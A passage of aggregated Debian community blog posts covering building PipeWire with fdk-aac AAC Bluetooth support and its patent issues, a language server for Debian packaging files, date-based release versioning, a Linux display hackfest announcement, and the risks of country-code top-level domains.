
patch -p0 < ../aac.patch

Build pipewire
```
cd pipewire-*
debuild
```
Note that you will likely see an error from debsign at the end of this process, this is harmless, you simply don t have a GPG key set up to sign your newly-built package⁴. Packages don t need to be signed to be installed, and debsign uses a somewhat non-standard signing process that dpkg does not check anyway.

Install libspa-0.2-bluetooth

sudo dpkg -i libspa-0.2-bluetooth_*.deb

Restart PipeWire and/or Reboot
```
sudo reboot
```
Theoretically there s a set of services to restart here that would get pipewire to pick up the new library, probably just pipewire itself. But it s just as easy to restart and ensure everything is using the correct library.

Why This is a slightly unusual situation, as the `fdk-aac` library is licensed under what even the GNU project acknowledges is a free software license. However, this license explicitly informs the user that they need to acquire a patent license to use this software⁵:
3. NO PATENT LICENSE NO EXPRESS OR IMPLIED LICENSES TO ANY PATENT CLAIMS, including without limitation the patents of Fraunhofer, ARE GRANTED BY THIS SOFTWARE LICENSE. Fraunhofer provides no warranty of patent non-infringement with respect to this software. You may use this FDK AAC Codec software or modifications thereto only for purposes that are authorized by appropriate patent licenses.
To quote the GNU project:
Because of this, and because the license author is a known patent aggressor, we encourage you to be careful about using or redistributing software under this license: you should first consider whether the licensor might aim to lure you into patent infringement.
AAC is covered by a number of patents, which expire at some point in the 2030s⁶. As such the current version of the library is potentially legally dubious to ship with any other software, as it could be considered patent-infringing³.

Fedora s solution Since 2017, Fedora has included a modified version of the library as fdk-aac-free, see the announcement and the bugzilla bug requesting review. This version of the library includes only the AAC LC profile, which is believed to be entirely patent-free³. Based on this, there is an open bug report in Debian requesting that the `fdk-aac` package be moved to the main component and that the `pipwire` package be updated to build against it.

The Debian NEW queue To resolve these bugs, a version of `fdk-aac-free` has been uploaded to Debian by Jeremy Bicha. However, to make it into Debian proper, it must first pass through the ftpmaster s NEW queue. The current version of fdk-aac-free has been in the NEW queue since July 2023. Based on conversations in some of the bugs above, it s been there since at least 2022⁷. I hope this helps anyone stuck with AAC to get their hardware working for them while we wait for the package to eventually make it through the NEW queue. Discuss on Hacker News

Such as, for example, any Apple AirPods, which only support AAC AFAICT.

Which, as of Debian 12 is GNOME 3 under Wayland with PipeWire.

I m not a lawyer, I don t know what kinds of infringement might or might not be possible here, do your own research, etc. ² ³ ⁴

And if you DO have a key setup with `debsign` you almost certainly don t need these instructions.

This was originally phrased as explicitly does not grant any patent rights. It was pointed out on Hacker News that this is not exactly what it says, as it also includes a specific note that you ll need to acquire your own patent license. I ve now quoted the relevant section of the license for clarity.

Wikipedia claims the base patents expire in 2031, with the extensions expiring in 2038, but its source for these claims is some guy s spreadsheet in a forum. The same discussion also brings up Wikipedia s claim and casts some doubt on it, so I m not entirely sure what s correct here, but I didn t feel like doing a patent deep-dive today. If someone can provide a clear answer that would be much appreciated.

According to Jeremy B cha: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1021370#17

24 February 2024

Niels Thykier: Language Server for Debian: Spellchecking

This is my third update on writing a language server for Debian packaging files, which aims at providing a better developer experience for Debian packagers. Lets go over what have done since the last report.

Semantic token support I have added support for what the Language Server Protocol (LSP) call semantic tokens. These are used to provide the editor insights into tokens of interest for users. Allegedly, this is what editors would use for syntax highlighting as well. Unfortunately, eglot (emacs) does not support semantic tokens, so I was not able to test this. There is a 3-year old PR for supporting with the last update being ~3 month basically saying "Please sign the Copyright Assignment". I pinged the GitHub issue in the hopes it will get unstuck. For good measure, I also checked if I could try it via neovim. Before installing, I read the neovim docs, which helpfully listed the features supported. Sadly, I did not spot semantic tokens among those and parked from there. That was a bit of a bummer, but I left the feature in for now. If you have an LSP capable editor that supports semantic tokens, let me know how it works for you! :)

Spellchecking Finally, I implemented something Otto was missing! :) This stared with Paul Wise reminding me that there were Python binding for the hunspell spellchecker. This enabled me to get started with a quick prototype that spellchecked the Description fields in debian/control. I also added spellchecking of comments while I was add it. The spellchecker runs with the standard en_US dictionary from hunspell-en-us, which does not have a lot of technical terms in it. Much less any of the Debian specific slang. I spend considerable time providing a "built-in" wordlist for technical and Debian specific slang to overcome this. I also made a "wordlist" for known Debian people that the spellchecker did not recognise. Said wordlist is fairly short as a proof of concept, and I fully expect it to be community maintained if the language server becomes a success. My second problem was performance. As I had suspected that spellchecking was not the fastest thing in the world. Therefore, I added a very small language server for the debian/changelog, which only supports spellchecking the textual part. Even for a small changelog of a 1000 lines, the spellchecking takes about 5 seconds, which confirmed my suspicion. With every change you do, the existing diagnostics hangs around for 5 seconds before being updated. Notably, in emacs, it seems that diagnostics gets translated into an absolute character offset, so all diagnostics after the change gets misplaced for every character you type. Now, there is little I could do to speed up hunspell. But I can, as always, cheat. The way diagnostics work in the LSP is that the server listens to a set of notifications like "document opened" or "document changed". In a response to that, the LSP can start its diagnostics scanning of the document and eventually publish all the diagnostics to the editor. The spec is quite clear that the server owns the diagnostics and the diagnostics are sent as a "notification" (that is, fire-and-forgot). Accordingly, there is nothing that prevents the server from publishing diagnostics multiple times for a single trigger. The only requirement is that the server publishes the accumulated diagnostics in every publish (that is, no delta updating). Leveraging this, I had the language server for debian/changelog scan the document and publish once for approximately every 25 typos (diagnostics) spotted. This means you quickly get your first result and that clears the obsolete diagnostics. Thereafter, you get frequent updates to the remainder of the document if you do not perform any further changes. That is, up to a predefined max of typos, so we do not overload the client for longer changelogs. If you do any changes, it resets and starts over. The only bit missing was dealing with concurrency. By default, a pygls language server is single threaded. It is not great if the language server hangs for 5 seconds everytime you type anything. Fortunately, pygls has builtin support for asyncio and threaded handlers. For now, I did an async handler that await after each line and setup some manual detection to stop an obsolete diagnostics run. This means the server will fairly quickly abandon an obsolete run. Also, as a side-effect of working on the spellchecking, I fixed multiple typos in the changelog of debputy. :)

Follow up on the "What next?" from my previous update In my previous update, I mentioned I had to finish up my python-debian changes to support getting the location of a token in a deb822 file. That was done, the MR is now filed, and is pending review. Hopefully, it will be merged and uploaded soon. :) I also submitted my proposal for a different way of handling relationship substvars to debian-devel. So far, it seems to have received only positive feedback. I hope it stays that way and we will have this feature soon. Guillem proposed to move some of this into dpkg, which might delay my plans a bit. However, it might be for the better in the long run, so I will wait a bit to see what happens on that front. :) As noted above, I managed to add debian/changelog as a support format for the language server. Even if it only does spellchecking and trimming of trailing newlines on save, it technically is a new format and therefore cross that item off my list. :D Unfortunately, I did not manage to write a linter variant that does not involve using an LSP-capable editor. So that is still pending. Instead, I submitted an MR against elpa-dpkg-dev-el to have it recognize all the fields that the debian/control LSP knows about at this time to offset the lack of semantic token support in eglot.

From here... My sprinting on this topic will soon come to an end, so I have to a bit more careful now with what tasks I open! I think I will narrow my focus to providing a batch linting interface. Ideally, with an auto-fix for some of the more mechanical issues, where this is little doubt about the answer. Additionally, I think the spellchecking will need a bit more maturing. My current code still trips on naming patterns that are "clearly" verbatim or code references like things written in CamelCase or SCREAMING_SNAKE_CASE. That gets annoying really quickly. It also trips on a lot of commands like dpkg-gencontrol, but that is harder to fix since it could have been a real word. I think those will have to be fixed people using quotes around the commands. Maybe the most popular ones will end up in the wordlist. Beyond that, I will play it by ear if I have any time left. :)

21 February 2024

Niels Thykier: Expanding on the Language Server (LSP) support for debian/control

I have spent some more time on improving my language server for debian/control. Today, I managed to provide the following features:

The X- style prefixes for field names are now understood and handled. This means the language server now considers XC-Package-Type the same as Package-Type.

More diagnostics:

Fields without values now trigger an error marker

Duplicated fields now trigger an error marker

Fields used in the wrong paragraph now trigger an error marker

Typos in field names or values now trigger a warning marker. For field names, X- style prefixes are stripped before typo detection is done.

The value of the Section field is now validated against a dataset of known sections and trigger a warning marker if not known.

The "on-save trim end of line whitespace" now works. I had a logic bug in the server side code that made it submit "no change" edits to the editor.

The language server now provides "hover" documentation for field names. There is a small screenshot of this below. Sadly, emacs does not support markdown or, if it does, it does not announce the support for markdown. For now, all the documentation is always in markdown format and the language server will tag it as either markdown or plaintext depending on the announced support.

The language server now provides quick fixes for some of the more trivial problems such as deprecated fields or typos of fields and values.

Added more known fields including the XS-Autobuild field for non-free packages along with a link to the relevant devref section in its hover doc.

This covers basically all my known omissions from last update except spellchecking of the Description field. An image of emacs showing documentation for the Provides field from the language server.

An image of emacs showing documentation for the Provides field from the language server.

Spellchecking Personally, I feel spellchecking would be a very welcome addition to the current feature set. However, reviewing my options, it seems that most of the spellchecking python libraries out there are not packaged for Debian, or at least not other the name I assumed they would be. The alternative is to pipe the spellchecking to another program like aspell list. I did not test this fully, but aspell list does seem to do some input buffering that I cannot easily default (at least not in the shell). Though, either way, the logic for this will not be trivial and aspell list does not seem to include the corrections either. So best case, you would get typo markers but no suggestions for what you should have typed. Not ideal. Additionally, I am also concerned with the performance for this feature. For d/control, it will be a trivial matter in practice. However, I would be reusing this for d/changelog which is 99% free text with plenty of room for typos. For a regular linter, some slowness is acceptable as it is basically a batch tool. However, for a language server, this potentially translates into latency for your edits and that gets annoying. While it is definitely on my long term todo list, I am a bit afraid that it can easily become a time sink. Admittedly, this does annoy me, because I wanted to cross off at least one of Otto's requested features soon.

On wrap-and-sort support The other obvious request from Otto would be to automate wrap-and-sort formatting. Here, the problem is that "we" in Debian do not agree on the one true formatting of debian/control. In fact, I am fairly certain we do not even agree on whether we should all use wrap-and-sort. This implies we need a style configuration. However, if we have a style configuration per person, then you get style "ping-pong" for packages where the co-maintainers do not all have the same style configuration. Additionally, it is very likely that you are a member of multiple packaging teams or groups that all have their own unique style. Ergo, only having a personal config file is doomed to fail. The only "sane" option here that I can think of is to have or support "per package" style configuration. Something that would be committed to git, so the tooling would automatically pick up the configuration. Obviously, that is not fun for large packaging teams where you have to maintain one file per package if you want a consistent style across all packages. But it beats "style ping-pong" any day of the week. Note that I am perfectly open to having a personal configuration file as a fallback for when the "per package" configuration file is absent. The second problem is the question of which format to use and what to name this file. Since file formats and naming has never been controversial at all, this will obviously be the easy part of this problem. But the file should be parsable by both wrap-and-sort and the language server, so you get the same result regardless of which tool you use. If we do not ensure this, then we still have the style ping-pong problem as people use different tools. This also seems like time sink with no end. So, what next then...?

What next? On the language server front, I will have a look at its support for providing semantic hints to the editors that might be used for syntax highlighting. While I think most common Debian editors have built syntax highlighting already, I would like this language server to stand on its own. I would like us to be in a situation where we do not have implement yet another editor extension for Debian packaging files. At least not for editors that support the LSP spec. On a different front, I have an idea for how we go about relationship related substvars. It is not directly related to this language server, except I got triggered by the language server "missing" a diagnostic for reminding people to add the magic Depends: $ misc:Depends [, $ shlibs:Depends ] boilerplate. The magic boilerplate that you have to write even though we really should just fix this at a tooling level instead. Energy permitting, I will formulate a proposal for that and send it to debian-devel. Beyond that, I think I might start adding support for another file. I also need to wrap up my python-debian branch, so I can get the position support into the Debian soon, which would remove one papercut for using this language server. Finally, it might be interesting to see if I can extract a "batch-linter" version of the diagnostics and related quickfix features. If nothing else, the "linter" variant would enable many of you to get a "mini-Lintian" without having to do a package build first.

18 February 2024

Russell Coker: Release Years

In 2008 I wrote about the idea of having a scheduled release for Debian and other distributions as Mark Shuttleworth had proposed [1]. I still believe that Mark s original idea for synchronised release dates of Linux distributions (or at least synchronised feature sets) is a good one but unfortunately it didn t take off. Having been using Ubuntu a bit recently I ve found the version numbering system to be really good. Ubuntu version 16.04 was release in April 2016, it s support ended 5 years later in about April 2021, so any commonly available computers from 2020 should run it well and versions of applications released in about 2017 should run on it. If I have to support a Debian 10 (Buster) system I need to start with a web search to discover when it was released (July 2019). That suggests that applications packaged for Ubuntu 18.04 are likely to run on it. If we had the same numbering system for Debian and Ubuntu then it would be easier to compare versions. Debian 19.06 would be obviously similar to Ubuntu 18.04, or we could plan for the future and call it Debian 2019. Then it would be ideal if hardware vendors did the same thing (as car manufacturers have been doing for a long time). Which versions of Ubuntu and Debian would run well on a Dell PowerEdge R750? It takes a little searching to discover that the R750 was released in 2021, but if they called it a PowerEdge 2021R70 then it would be quite obvious that Ubuntu 2022.04 would run well on it and that Ubuntu 2020.04 probably has a kernel update with all the hardware supported. One of the benefits for the car industry in naming model years is that it drives the purchase of a new car. A 2015 car probably isn t going to impress anyone and you will know that it is missing some of the features in more recent models. It would be easier to get management to sign off on replacing old computers if they had 2015 on the front, trying to estimate hidden costs of support and lost productivity of using old computers is hard but saying it s a 2015 model and way out of date is easy. There is a history of using dates as software versions. The Reference Policy for SE Linux [2] (which is used for Debian) has releases based on date. During the Debian development process I upload policy to Debian based on the upstream Git and use the same version numbering scheme which is more convenient than the append git date to last full release system that some maintainers are forced to use. The users can get an idea of how much the Debian/Unstable policy has diverged from the last full release by looking at the dates. Also an observer might see the short difference between release dates of SE Linux policy and Debian release freeze dates as an indication that I beg the upstream maintainers to make a new release just before each Debian freeze which is expactly what I do. When I took over the Portslave [3] program I made releases based on date because there were several forks with different version numbering schemes so my options were to just choose a higher number (which is OK initially but doesn t scale if there are more forks) or use a date and have people know that the recent date is the most recent version. The fact that the latest release of Portslave is version 2010.04.19 shows that I have not been maintaining it in recent years (due to lack of hardware as well as lack of interest), so if someone wants to take over the project I would be happy to help them do so! I don t expect people at Dell and other hardware vendors to take much notice of my ideas (I have tweeted them photographic evidence of a problem with no good response). But hopefully this will start a discussion in the free software community.

16 February 2024

Melissa Wen: Keep an eye out: We are preparing the 2024 Linux Display Next Hackfest!

Igalia is preparing the 2024 Linux Display Next Hackfest and we are thrilled to announce that this year s hackfest will take place from May 14th to 16th at our HQ in A Coru a, Spain.

This unconference-style event aims to bring together the most relevant players in the Linux display community to tackle current challenges and chart the future of the display stack. Key goals for the hackfest include:

Releasing the power of collaboration: We ll work to remove bottlenecks and pave the way for smoother, more performant displays.
Problem-solving powerhouse: Brainstorming sessions and collaborative coding will target issues like HDR, color management, variable refresh rates, and more.
Building on past commitments: Let s solidify the progress made in recent years and push the boundaries even further.

The hackfest fosters an intimate and focused environment to brainstorm, hack, and design solutions alongside fellow display experts. Participants will dive into discussions, tinker with code, and contribute to shaping the future of the Linux display stack. More details are available on the official website. Stay tuned! Keep an eye out for more information, mark your calendars and start prepping your hacking gear.

13 February 2024

Matthew Palmer: Not all TLDs are Created Equal

In light of the recent cancellation of the queer.af domain registration by the Taliban, the fragile and difficult nature of country-code top-level domains (ccTLDs) has once again been comprehensively demonstrated. Since many people may not be aware of the risks, I thought I d give a solid explainer of the whole situation, and explain why you should, in general, not have anything to do with domains which are registered under ccTLDs.

Top-level What-Now? A top-level domain (TLD) is the last part of a domain name (the collection of words, separated by periods, after the `https://` in your web browser s location bar). It s the com in `example.com`, or the af in `queer.af`. There are two kinds of TLDs: country-code TLDs (ccTLDs) and generic TLDs (gTLDs). Despite all being TLDs, they re very different beasts under the hood.

What s the Difference? Generic TLDs are what most organisations and individuals register their domains under: old-school technobabble like com , net , or org , historical oddities like gov , and the new-fangled world of words like tech , social , and bank . These gTLDs are all regulated under a set of rules created and administered by ICANN (the Internet Corporation for Assigned Names and Numbers ), which try to ensure that things aren t a complete wild-west, limiting things like price hikes (well, sometimes, anyway), and providing means for disputes over names¹. Country-code TLDs, in contrast, are all two letters long², and are given out to countries to do with as they please. While ICANN kinda-sorta has something to do with ccTLDs (in the sense that it makes them exist on the Internet), it has no authority to control how a ccTLD is managed. If a country decides to raise prices by 100x, or cancel all registrations that were made on the 12th of the month, there s nothing anyone can do about it. If that sounds bad, that s because it is. Also, it s not a theoretical problem the Taliban deciding to asssert its bigotry over the little corner of the Internet namespace it has taken control of is far from the first time that ccTLDs have caused grief.

Shifting Sands The `queer.af` cancellation is interesting because, at the time the domain was reportedly registered, 2018, Afghanistan had what one might describe as, at least, a different political climate. Since then, of course, things have changed, and the new bosses have decided to get a bit more active. Those running `queer.af` seem to have seen the writing on the wall, and were planning on moving to another, less fraught, domain, but hadn t completed that move when the Taliban came knocking.

The Curious Case of Brexit When the United Kingdom decided to leave the European Union, it fell foul of the EU s rules for the registration of domains under the eu ccTLD³. To register (and maintain) a domain name ending in `.eu`, you have to be a resident of the EU. When the UK ceased to be part of the EU, residents of the UK were no longer EU residents. Cue much unhappiness, wailing, and gnashing of teeth when this was pointed out to Britons. Some decided to give up their domains, and move to other parts of the Internet, while others managed to hold onto them by various legal sleight-of-hand (like having an EU company maintain the registration on their behalf). In any event, all very unpleasant for everyone involved.

Geopolitics on the Internet?!? After Russia invaded Ukraine in February 2022, the Ukranian Vice Prime Minister asked ICANN to suspend ccTLDs associated with Russia. While ICANN said that it wasn t going to do that, because it wouldn t do anything useful, some domain registrars (the companies you pay to register domain names) ceased to deal in Russian ccTLDs, and some websites restricted links to domains with Russian ccTLDs. Whether or not you agree with the sort of activism implied by these actions, the fact remains that even the actions of a government that aren t directly related to the Internet can have grave consequences for your domain name if it s registered under a ccTLD. I don t think any gTLD operator will be invading a neighbouring country any time soon.

Money, Money, Money, Must Be Funny When you register a domain name, you pay a registration fee to a registrar, who does administrative gubbins and causes you to be able to control the domain name in the DNS. However, you don t own that domain name⁴ you re only renting it. When the registration period comes to an end, you have to renew the domain name, or you ll cease to be able to control it. Given that a domain name is typically your brand or identity online, the chances are you d prefer to keep it over time, because moving to a new domain name is a massive pain, having to tell all your customers or users that now you re somewhere else, plus having to accept the risk of someone registering the domain name you used to have and capturing your traffic it s all a gigantic hassle. For gTLDs, ICANN has various rules around price increases and bait-and-switch pricing that tries to keep a lid on the worst excesses of registries. While there are any number of reasonable criticisms of the rules, and the Internet community has to stay on their toes to keep ICANN from totally succumbing to regulatory capture, at least in the gTLD space there s some degree of control over price gouging. On the other hand, ccTLDs have no effective controls over their pricing. For example, in 2008 the Seychelles increased the price of `.sc` domain names from US$25 to US$75. No reason, no warning, just pay up .

Who Is Even Getting That Money? A closely related concern about ccTLDs is that some of the cool ones are assigned to countries that are not great. The poster child for this is almost certainly Libya, which has the ccTLD ly . While Libya was being run by a terrorist-supporting extremist, companies thought it was a great idea to have domain names that ended in `.ly`. These domain registrations weren t (and aren t) cheap, and it s hard to imagine that at least some of that money wasn t going to benefit the Gaddafi regime. Similarly, the British Indian Ocean Territory, which has the io ccTLD, was created in a colonialist piece of chicanery that expelled thousands of native Chagossians from Diego Garcia. Money from the registration of `.io` domains doesn t go to the (former) residents of the Chagos islands, instead it gets paid to the UK government. Again, I m not trying to suggest that all gTLD operators are wonderful people, but it s not particularly likely that the direct beneficiaries of the operation of a gTLD stole an island chain and evicted the residents.

Are ccTLDs Ever Useful? The answer to that question is an unqualified maybe . I certainly don t think it s a good idea to register a domain under a ccTLD for vanity purposes: because it makes a word, is the same as a file extension you like, or because it looks cool. Those ccTLDs that clearly represent and are associated with a particular country are more likely to be OK, because there is less impetus for the registry to try a naked cash grab. Unfortunately, ccTLD registries have a disconcerting habit of changing their minds on whether they serve their geographic locality, such as when auDA decided to declare an open season in the `.au` namespace some years ago. Essentially, while a ccTLD may have geographic connotations now, there s not a lot of guarantee that they won t fall victim to scope creep in the future. Finally, it might be somewhat safer to register under a ccTLD if you live in the location involved. At least then you might have a better idea of whether your domain is likely to get pulled out from underneath you. Unfortunately, as the `.eu` example shows, living somewhere today is no guarantee you ll still be living there tomorrow, even if you don t move house. In short, I d suggest sticking to gTLDs. They re at least lower risk than ccTLDs.

+1, Helpful If you ve found this post informative, why not buy me a refreshing beverage? My typing fingers (both of them) thank you in advance for your generosity.

Footnotes

don t make the mistake of thinking that I approve of ICANN or how it operates; it s an omnishambles of poor governance and incomprehensible decision-making.

corresponding roughly, though not precisely (because everything has to be complicated, because humans are complicated), to the entries in the ISO standard for Codes for the representation of names of countries and their subdivisions , ISO 3166.

yes, the EU is not a country; it s part of the roughly, though not precisely caveat mentioned previously.

despite what domain registrars try very hard to imply, without falling foul of deceptive advertising regulations.

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